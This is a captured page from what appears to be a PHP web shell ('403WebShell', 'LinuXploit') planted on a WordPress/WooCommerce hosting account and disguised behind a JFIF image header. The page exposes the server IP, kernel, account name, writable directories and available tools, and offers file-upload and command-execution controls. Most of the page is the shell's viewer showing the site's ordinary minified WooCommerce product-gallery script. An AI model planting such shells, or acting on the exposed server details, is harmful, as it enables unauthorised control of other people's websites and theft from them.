????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.64.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/buyeaa.com/wp-content/plugins/woocommerce/assets/client/blocks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/buyeaa.com/wp-content/plugins/woocommerce/assets/client/blocks//product-gallery.js
(()=>{"use strict";var e,t,o,r={612:(e,t,o)=>{var r=o(4997);const l=window.wp.data,i=window.wc.wcTypes;class s{blocks=new Map;initialized=!1;attemptedRegisteredBlocks=new Set;constructor(){this.initializeSubscriptions()}static getInstance(){return s.instance||(s.instance=new s),s.instance}parseTemplateId(e){const t=(0,i.isNumber)(e)?void 0:e;return t?.split("//")[1]}initializeSubscriptions(){if(this.initialized)return;const e=(0,l.subscribe)((()=>{const t=(0,l.select)("core/edit-site"),o=(0,l.select)("core/edit-post");if(t||o)if(t){const o=t.getEditedPostId();e(),this.currentTemplateId="string"==typeof o?this.parseTemplateId(o):void 0,(0,l.subscribe)((()=>{const e=this.currentTemplateId;this.currentTemplateId=this.parseTemplateId(t.getEditedPostId()),e!==this.currentTemplateId&&this.handleTemplateChange(e)}),"core/edit-site"),this.initialized=!0}else o&&(e(),this.blocks.forEach((e=>{if(e.isAvailableOnPostEditor){const t=e.variationName||e.blockName;this.hasAttemptedRegistration(t)||this.registerBlock(e)}})),this.initialized=!0)}))}handleTemplateChange(e){(this.currentTemplateId?.includes("single-product")||e?.includes("single-product"))&&this.blocks.forEach((e=>{this.unregisterBlock(e),this.registerBlock(e)}))}hasAttemptedRegistration(e){return this.attemptedRegisteredBlocks.has(e)}unregisterBlock(e){const{blockName:t,isVariationBlock:o,variationName:l}=e;try{o&&l?((0,r.unregisterBlockVariation)(t,l),this.attemptedRegisteredBlocks.delete(l)):((0,r.unregisterBlockType)(t),this.attemptedRegisteredBlocks.delete(t))}catch(e){console.debug(`Failed to unregister block ${t}:`,e)}}registerBlock(e){const{blockName:t,settings:o,isVariationBlock:s,variationName:a,isAvailableOnPostEditor:c}=e;try{const e=a||t;if(this.hasAttemptedRegistration(e))return;const n=(0,l.select)("core/edit-site");if(!n&&!c)return;if(s)(0,r.registerBlockVariation)(t,o);else{const e=(0,i.isEmpty)(o?.ancestor)?["woocommerce/single-product"]:o?.ancestor,l=n&&this.currentTemplateId?.includes("single-product");(0,r.registerBlockType)(t,{...o,ancestor:l?void 0:e})}this.attemptedRegisteredBlocks.add(e)}catch(e){console.error(`Failed to register block ${t}:`,e)}}registerBlockConfig(e){const t=e.variationName||e.blockName;this.blocks.set(t,e),this.registerBlock(e)}}const a=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"woocommerce/product-gallery","title":"Product Gallery (Beta)","description":"Showcase your products relevant images and media.","category":"woocommerce","keywords":["WooCommerce"],"supports":{"align":true,"interactivity":true,"layout":{"default":{"type":"flex","flexWrap":"nowrap","orientation":"horizontal"},"allowOrientation":true,"allowEditing":true,"allowJustification":false}},"textdomain":"woocommerce","usesContext":["postId"],"providesContext":{"hoverZoom":"hoverZoom","fullScreenOnClick":"fullScreenOnClick","cropImages":"cropImages"},"ancestor":["woocommerce/single-product"],"attributes":{"cropImages":{"type":"boolean","default":false},"hoverZoom":{"type":"boolean","default":true},"fullScreenOnClick":{"type":"boolean","default":true}},"viewScript":"wc-product-gallery-frontend","example":{},"viewScriptModule":"woocommerce/product-gallery","style":"file:../woocommerce/product-gallery-style.css"}');var c=o(4715);const n=window.wc.wcBlocksSharedHocs;var d=o(6427),u=o(7723),p=o(790);const m=({attributes:e,setAttributes:t})=>{const{cropImages:o,hoverZoom:r,fullScreenOnClick:l}=e;return(0,p.jsx)(c.InspectorControls,{children:(0,p.jsxs)(d.PanelBody,{title:(0,u.__)("Media Settings","woocommerce"),children:[(0,p.jsx)(d.ToggleControl,{label:(0,u.__)("Crop images to fit","woocommerce"),help:(0,u.__)("Images will be cropped to fit within a square space.","woocommerce"),checked:o,onChange:()=>t({cropImages:!o}),className:"wc-block-product-gallery__crop-images"}),(0,p.jsx)(d.ToggleControl,{label:(0,u.__)("Zoom while hovering","woocommerce"),help:(0,u.__)("While hovering the large image will zoom in by 30%.","woocommerce"),checked:r,onChange:()=>t({hoverZoom:!r})}),(0,p.jsx)(d.ToggleControl,{label:(0,u.__)("Open pop-up when clicked","woocommerce"),help:(0,u.__)("Clicking on the large image will open a full-screen gallery experience.","woocommerce"),checked:l,onChange:()=>t({fullScreenOnClick:!l})})]})})},g=[["woocommerce/product-gallery-thumbnails"],["woocommerce/product-gallery-large-image",{},[["woocommerce/product-sale-badge",{align:"right"}],["woocommerce/product-gallery-large-image-next-previous"]]]],h=(0,n.withProductDataContext)((({attributes:e,setAttributes:t})=>{const o=(0,c.useBlockProps)({className:"wc-block-product-gallery"});return(0,p.jsxs)("div",{...o,children:[(0,p.jsx)(c.InspectorControls,{children:(0,p.jsx)(m,{attributes:e,setAttributes:t})}),(0,p.jsx)(c.InnerBlocks,{allowedBlocks:["woocommerce/product-gallery-large-image","woocommerce/product-gallery-thumbnails"],template:g})]})}));var w=o(4921);const b=({className:e})=>(0,p.jsx)("svg",{xmlns:"http://www.w3.org/2000/svg",width:"8",height:"12",fill:"none",className:e,children:(0,p.jsx)("path",{fill:"currentColor",fillRule:"evenodd",d:"M6.445 12.005.986 6 6.445-.005l1.11 1.01L3.014 6l4.54 4.995-1.109 1.01Z",clipRule:"evenodd"})}),v=({className:e})=>(0,p.jsx)("svg",{xmlns:"http://www.w3.org/2000/svg",width:"8",height:"12",fill:"none",className:e,children:(0,p.jsx)("path",{fill:"currentColor",fillRule:"evenodd",d:"M1.555-.004 7.014 6l-5.459 6.005-1.11-1.01L4.986 6 .446 1.005l1.109-1.01Z",clipRule:"evenodd"})}),f=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"woocommerce/product-gallery-large-image-next-previous","title":"Next/Previous Buttons","description":"Display next and previous buttons.","category":"woocommerce","keywords":["WooCommerce"],"usesContext":["postId"],"textdomain":"woocommerce","supports":{"interactivity":true,"color":{"background":true,"text":true,"__experimentalSkipSerialization":true},"align":true,"layout":{"default":{"type":"flex","flexWrap":"nowrap","verticalAlignment":"center"},"allowVerticalAlignment":true,"allowOrientation":false,"allowJustification":false},"shadow":true,"spacing":{"margin":true,"__experimentalSkipSerialization":true},"__experimentalBorder":{"radius":true,"__experimentalSkipSerialization":true},"__experimentalSelector":".wc-block-product-gallery-large-image-next-previous__button"},"ancestor":["woocommerce/product-gallery-large-image"],"editorStyle":"file:../woocommerce/product-gallery-large-image-next-previous-editor.css"}');(0,r.registerBlockType)(f,{icon:()=>(0,p.jsx)("svg",{width:"18",height:"18",viewBox:"0 0 18 18",fill:"none",xmlns:"http://www.w3.org/2000/svg",children:(0,p.jsx)("path",{fillRule:"evenodd",clipRule:"evenodd",d:"M6.22448 1.5L1.5 6.81504V11.7072L5.12953 9.06066C5.38061 8.87758 5.71858 8.86829 5.97934 9.0373L8.90601 10.9342L12.4772 7.46225C12.7683 7.17925 13.2317 7.17925 13.5228 7.46225L16.5 10.3568V2C16.5 1.72386 16.2761 1.5 16 1.5H6.22448ZM1.5 13.5636V16C1.5 16.2761 1.72386 16.5 2 16.5H16C16.2761 16.5 16.5 16.2761 16.5 16V12.4032L16.4772 12.4266L13 9.04603L9.52279 12.4266C9.27191 12.6706 8.88569 12.7086 8.59206 12.5183L5.59643 10.5766L1.5 13.5636ZM0 2C0 0.89543 0.895431 0 2 0H16C17.1046 0 18 0.895431 18 2V16C18 17.1046 17.1046 18 16 18H2C0.89543 18 0 17.1046 0 16V2Z",fill:"#1E1E1E"})}),edit:({attributes:e})=>{const t=(e=>{const t=e?.layout?.verticalAlignment;return"top"===t?"aligntop":"bottom"===t?"alignbottom":""})(e),{style:o,...r}=(0,c.useBlockProps)({className:(0,w.A)("wc-block-product-gallery-large-image-next-previous",t)}),l=(0,c.__experimentalUseBorderProps)(e),i=(0,c.__experimentalUseColorProps)(e),s=(0,c.__experimentalGetSpacingClassesAndStyles)(e),a=(0,c.__experimentalGetShadowClassesAndStyles)(e),n=(0,w.A)("wc-block-product-gallery-large-image-next-previous__button",l.className,i.className,s.className,a.className),d={...o,...l.style,...i.style,...s.style,...a.style};return(0,p.jsxs)("div",{...r,children:[(0,p.jsx)("button",{className:n,style:d,disabled:!0,children:(0,p.jsx)(b,{className:"wc-block-product-gallery-large-image-next-previous__icon wc-block-product-gallery-large-image-next-previous__icon--left"})}),(0,p.jsx)("button",{className:n,style:d,children:(0,p.jsx)(v,{className:"wc-block-product-gallery-large-image-next-previous__icon wc-block-product-gallery-large-image-next-previous__icon--right"})})]})},save:()=>(0,p.jsx)("div",{...c.useBlockProps.save()})}),o(6831),(e=>{const t=e.name;if(!t)return void console.error("registerProductBlockType: Block name is required for registration");const o=(({name:e,...t})=>t)(e),{isVariationBlock:r,variationName:l,isAvailableOnPostEditor:i,...a}={...o,...{isAvailableOnPostEditor:!0}||{}},c={blockName:t,settings:{...a},isVariationBlock:null!=r&&r,variationName:null!=l?l:void 0,isAvailableOnPostEditor:null!=i&&i};s.getInstance().registerBlockConfig(c)})({...a,icon:()=>(0,p.jsxs)("svg",{width:"24",height:"24",viewBox:"0 0 24 24",fill:"none",xmlns:"http://www.w3.org/2000/svg",children:[(0,p.jsx)("path",{d:"M19 3H5C4.4 3 4 3.4 4 4V11C4 11.5 4.4 12 5 12H19C19.5 12 20 11.6 20 11V4C20 3.4 19.6 3 19 3ZM5.5 10.5V10.1L7.3 8.8L8.6 9.6C8.9 9.8 9.3 9.8 9.5 9.5L11 8.1L13.4 10.5H5.5ZM18.5 10.5H15.6L11.6 6.5C11.3 6.2 10.8 6.2 10.5 6.5L8.9 8L7.7 7.2C7.4 7 7.1 7 6.8 7.2L5.5 8.2V4.5H18.5V10.5Z",fill:"currentColor"}),(0,p.jsx)("rect",{x:"4.75",y:"15.5",width:"5",height:"4.5",rx:"1",stroke:"currentColor",strokeWidth:"1.5",fill:"none"}),(0,p.jsx)("rect",{x:"12.25",y:"15.5",width:"5",height:"4.5",rx:"1",stroke:"currentColor",strokeWidth:"1.5",fill:"none"})]}),edit:h,save:()=>{const e=c.useBlockProps.save({className:"wc-block-product-gallery"}),t=c.useInnerBlocksProps.save(e);return(0,p.jsx)("div",{...t})}})},6831:(e,t,o)=>{var r=o(4997),l=o(790);var i=o(4921),s=o(4715),a=o(6427);const c=window.wc.wcSettings,n=(0,c.getSetting)("wcBlocksConfig",{pluginUrl:"",productCount:0,defaultAvatar:"",restApiRoutes:{},wordCountType:"words"}),d=n.pluginUrl+"assets/images/",u=(n.pluginUrl,c.STORE_PAGES.shop,c.STORE_PAGES.checkout,c.STORE_PAGES.checkout,c.STORE_PAGES.privacy,c.STORE_PAGES.privacy,c.STORE_PAGES.terms,c.STORE_PAGES.terms,c.STORE_PAGES.cart,c.STORE_PAGES.cart,c.STORE_PAGES.myaccount?.permalink?c.STORE_PAGES.myaccount.permalink:(0,c.getSetting)("wpLoginUrl","/wp-login.php"),(0,c.getSetting)("localPickupEnabled",!1),(0,c.getSetting)("shippingMethodsExist",!1),(0,c.getSetting)("shippingEnabled",!0),(0,c.getSetting)("countries",{})),p=(0,c.getSetting)("countryData",{}),m={...Object.fromEntries(Object.keys(p).filter((e=>!0===p[e].allowBilling)).map((e=>[e,u[e]||""]))),...Object.fromEntries(Object.keys(p).filter((e=>!0===p[e].allowShipping)).map((e=>[e,u[e]||""])))},g=(Object.fromEntries(Object.keys(m).map((e=>[e,p[e].states||{}]))),Object.fromEntries(Object.keys(m).map((e=>[e,p[e].locale||{}]))),{address:["first_name","last_name","company","address_1","address_2","city","postcode","country","state","phone"],contact:["email"],order:[]}),h=((0,c.getSetting)("addressFieldsLocations",g).address,(0,c.getSetting)("addressFieldsLocations",g).contact,(0,c.getSetting)("addressFieldsLocations",g).order,(0,c.getSetting)("additionalOrderFields",{}),(0,c.getSetting)("additionalContactFields",{}),(0,c.getSetting)("additionalAddressFields",{}),window.wc.wcBlocksSharedContext);var w=o(6087),b=o(7723);const v=({attributes:e,setAttributes:t})=>{const{thumbnailSize:o}=e;return(0,l.jsx)(a.__experimentalUnitControl,{label:(0,b.__)("Thumbnail Size","woocommerce"),value:o,onChange:e=>{const o=Number(e?.replace("%","")||25),r=Math.min(Math.max(o,10),50);t({thumbnailSize:r+"%"})},units:[{value:"%",label:"%"}],min:10,max:50,step:1,size:"default",__next36pxDefaultSize:!0,help:(0,b.__)("Choose the size of each thumbnail in respect to the product image. If thumbnails container size gets bigger than the product image, thumbnails will turn to slider.","woocommerce")})},f=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"woocommerce/product-gallery-thumbnails","title":"Thumbnails","description":"Display the Thumbnails of a product.","category":"woocommerce","keywords":["WooCommerce"],"usesContext":["postId","cropImages"],"textdomain":"woocommerce","ancestor":["woocommerce/product-gallery"],"attributes":{"thumbnailSize":{"type":"string","default":"25%"}},"supports":{"spacing":{"margin":true},"interactivity":true},"editorStyle":"file:../woocommerce/product-gallery-thumbnails-editor.css"}');(0,r.registerBlockType)(f,{icon:()=>(0,l.jsx)("svg",{width:"19",height:"19",viewBox:"0 0 19 19",fill:"none",xmlns:"http://www.w3.org/2000/svg",children:(0,l.jsx)("path",{fillRule:"evenodd",clipRule:"evenodd",d:"M13.375 1.5H1.625C1.55596 1.5 1.5 1.55596 1.5 1.625V9.87895L4.35871 8.33965C4.5696 8.22609 4.82204 8.22009 5.03808 8.3235L7.42329 9.46513L10.3126 7.39076C10.574 7.20308 10.926 7.20308 11.1874 7.39076L13.5 9.05108V1.625C13.5 1.55596 13.444 1.5 13.375 1.5ZM13.5 10.8976L10.75 8.92328L7.93741 10.9426C7.71497 11.1023 7.42319 11.1281 7.1762 11.0098L4.73428 9.84105L1.5 11.5826V13.375C1.5 13.444 1.55596 13.5 1.625 13.5H13.375C13.444 13.5 13.5 13.444 13.5 13.375V10.8976ZM1.625 0C0.727537 0 0 0.727538 0 1.625V13.375C0 14.2725 0.727538 15 1.625 15H13.375C14.2725 15 15 14.2725 15 13.375V1.625C15 0.727537 14.2725 0 13.375 0H1.625ZM17.25 5V16C17.25 16.6909 16.6909 17.25 16.0011 17.25H3V18.75H16.0011C17.5204 18.75 18.75 17.5183 18.75 16V5H17.25Z",fill:"#1E1E1E"})}),edit:({attributes:e,setAttributes:t})=>{const{thumbnailSize:o}=e,r=`${d}block-placeholders/product-image-gallery.svg`,c=(0,h.useProductDataContext)(),n=c?.product,u=Boolean(n?.id)?(p=n?.images,p.slice(0,10).map((e=>({src:e?.src,alt:e?.alt})))):Array(10).fill({src:r,alt:""});var p;const m=u.length>1,g=(0,w.useRef)(null),[b,f]=(0,w.useState)({bottom:!1,right:!1});(0,w.useEffect)((()=>{const e=g.current;if(!e)return;const t=new ResizeObserver((()=>{const t=(e=>{if(!e)return{top:!1,bottom:!1,left:!1,right:!1};const{scrollTop:t,scrollHeight:o,clientHeight:r,scrollLeft:l,scrollWidth:i,clientWidth:s}=e;return{top:t>3,bottom:t+r<o-3,left:l>3,right:l+s<i-3}})(e);f(t)}));return t.observe(e),e.parentElement&&t.observe(e.parentElement),()=>{t.disconnect()}}),[o]);const y=Number(o.replace("%","")),k=(0,i.A)("wc-block-product-gallery-thumbnails",`wc-block-product-gallery-thumbnails--thumbnails-size-${y}`,{"wc-block-product-gallery-thumbnails--overflow-right":b.right,"wc-block-product-gallery-thumbnails--overflow-bottom":b.bottom}),x=(0,s.useBlockProps)({className:k});return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(s.InspectorControls,{children:(0,l.jsx)(a.PanelBody,{children:(0,l.jsx)(v,{attributes:e,setAttributes:t})})}),m&&(0,l.jsx)("div",{...x,children:(0,l.jsx)("div",{ref:g,className:"wc-block-product-gallery-thumbnails__scrollable",children:u.map((({src:e,alt:t},o)=>{const r=(0,i.A)("wc-block-product-gallery-thumbnails__thumbnail",{"wc-block-product-gallery-thumbnails__thumbnail--active":0===o});return(0,l.jsx)("div",{className:r,children:(0,l.jsx)("img",{className:"wc-block-product-gallery-thumbnails__thumbnail__image",src:e,alt:t,loading:"lazy"})},o)}))})})]})},save:()=>null})},790:e=>{e.exports=window.ReactJSXRuntime},4715:e=>{e.exports=window.wp.blockEditor},4997:e=>{e.exports=window.wp.blocks},6427:e=>{e.exports=window.wp.components},6087:e=>{e.exports=window.wp.element},7723:e=>{e.exports=window.wp.i18n}},l={};function i(e){var t=l[e];if(void 0!==t)return t.exports;var o=l[e]={exports:{}};return r[e].call(o.exports,o,o.exports,i),o.exports}i.m=r,e=[],i.O=(t,o,r,l)=>{if(!o){var s=1/0;for(d=0;d<e.length;d++){for(var[o,r,l]=e[d],a=!0,c=0;c<o.length;c++)(!1&l||s>=l)&&Object.keys(i.O).every((e=>i.O[e](o[c])))?o.splice(c--,1):(a=!1,l<s&&(s=l));if(a){e.splice(d--,1);var n=r();void 0!==n&&(t=n)}}return t}l=l||0;for(var d=e.length;d>0&&e[d-1][2]>l;d--)e[d]=e[d-1];e[d]=[o,r,l]},i.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return i.d(t,{a:t}),t},o=Object.getPrototypeOf?e=>Object.getPrototypeOf(e):e=>e.__proto__,i.t=function(e,r){if(1&r&&(e=this(e)),8&r)return e;if("object"==typeof e&&e){if(4&r&&e.__esModule)return e;if(16&r&&"function"==typeof e.then)return e}var l=Object.create(null);i.r(l);var s={};t=t||[null,o({}),o([]),o(o)];for(var a=2&r&&e;"object"==typeof a&&!~t.indexOf(a);a=o(a))Object.getOwnPropertyNames(a).forEach((t=>s[t]=()=>e[t]));return s.default=()=>e,i.d(l,s),l},i.d=(e,t)=>{for(var o in t)i.o(t,o)&&!i.o(e,o)&&Object.defineProperty(e,o,{enumerable:!0,get:t[o]})},i.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),i.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},i.j=6749,(()=>{var e={6565:0,6749:0};i.O.j=t=>0===e[t];var t=(t,o)=>{var r,l,[s,a,c]=o,n=0;if(s.some((t=>0!==e[t]))){for(r in a)i.o(a,r)&&(i.m[r]=a[r]);if(c)var d=c(i)}for(t&&t(o);n<s.length;n++)l=s[n],i.o(e,l)&&e[l]&&e[l][0](),e[l]=0;return i.O(d)},o=globalThis.webpackChunkwebpackWcBlocksMainJsonp=globalThis.webpackChunkwebpackWcBlocksMainJsonp||[];o.forEach(t.bind(null,0)),o.push=t.bind(null,o.push.bind(o))})();var s=i.O(void 0,[94],(()=>i(612)));s=i.O(s),((this.wc=this.wc||{}).blocks=this.wc.blocks||{})["product-gallery"]=s})();

Youez - 2016 - github.com/yon3zu
LinuXploit